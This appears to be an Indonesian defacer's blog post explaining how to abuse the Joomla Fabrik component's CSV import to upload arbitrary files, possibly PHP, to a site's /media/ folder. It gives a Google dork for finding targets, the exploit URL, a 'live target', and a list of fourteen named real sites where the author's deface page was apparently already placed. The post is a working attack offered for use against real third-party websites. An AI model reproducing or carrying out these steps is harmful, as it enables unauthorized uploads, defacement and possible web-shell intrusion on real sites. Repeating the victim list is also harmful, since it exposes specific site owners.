Component Fabrik Import CSV Vulnerability



Baik kali ini saya akan sedikit sharing lagi nih ,, mengenai exploit lagi ,, hehe
Component Fabrik ,, ya sebuah plugin / componen untuk mengupload file pada direktori server gan ,, haha
Atau anak - anak defacer nih nyebutnya PoC : Com_fabrik yang anak defacer pasti tau nih ,, hahaha
Okeh langsung saja yuk cekibrot >>
Hal yang pertama seperti biasa gan kita ngandelin Mas Google Dork ,, hehe jadi buka google dan masukan dork berikut :
#Dork :  inurl:index.php?option=com_fabrik site:it  (domain .it bisa diganti sesuai selera)

Nah nanti bakal ada banyak website disitu pilihlah yang mana saja yang sekiranya vuln gan :3 hehe
masukan #Exploit : index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
Jadi : http://situs.anu/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Nah nant bakal ada penampakan seperti berikut gan ,, kalo gak ada tinggalis saja ( penampilan bisa berbeda beda)


Tinggal chose file untuk memilih file yang akan diupload ,, terus klik tombol "Import CSV" (default)
Jika sudah ,, silahkan periksa file agan di direktori /media/filekamu.anu
Jadi : http://situs.anu/media/filekamu.anu
Suport : html , htm , file image , bahkan PHP jika beruntung bisa diupload gan ,, hehe

Live Target :
http://www.anticoborgonarcao.it/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Target Vuln Com_fabrik :

http://uprobr.mon-rk.ru/media/mimpiindah.html
http://www.anticoborgonarcao.it/media/mimpiindah.html
http://www.avismacerata.it/media/mimpiindah.html
http://www.bizbrain.it/media/mimpiindah.html
http://www.dalforner.it/media/mimpiindah.html
http://www.decanatodibrivio.it/media/mimpiindah.html
http://www.dramma.it/media/mimpiindah.html
http://www.focsiv.it/media/mimpiindah.html
http://www.lmilogistica.it/media/mimpiindah.html
http://www.montagneinsicilia.it/media/mimpiindah.html
http://www.montesole.it/media/mimpiindah.html
http://www.notaiopulvirenti.it/media/mimpiindah.html
http://www.sdditg.com/media/mimpiindah.html
http://www.tavolinihifi.it/media/mimpikita.html

Nah mungkin sekian dari saya gan semoga bermanfaat ^_^ hehe

Catatan : Jangan sepelekan ilmu karena sekecil apapun itu gunakanlah untuk hal yang besar ^_^

Terimakasih telah berkunjung diblog kami silahkan tinggalkan komentar untuk menghargai penulis ^_^
Subscribe To Get Best Articles!

Jika menurut kalian artikel di blog ini berkualitas dan bermanfaat, silahkan berlangganan artikel terbaru melalui pesan masuk email anda secara gratis.

1 comment:

" Terimakasih telah mengunjungi blog kami ,, silahkan tinggalkan komentar untuk menghargai jerit payah penulis ^_^ "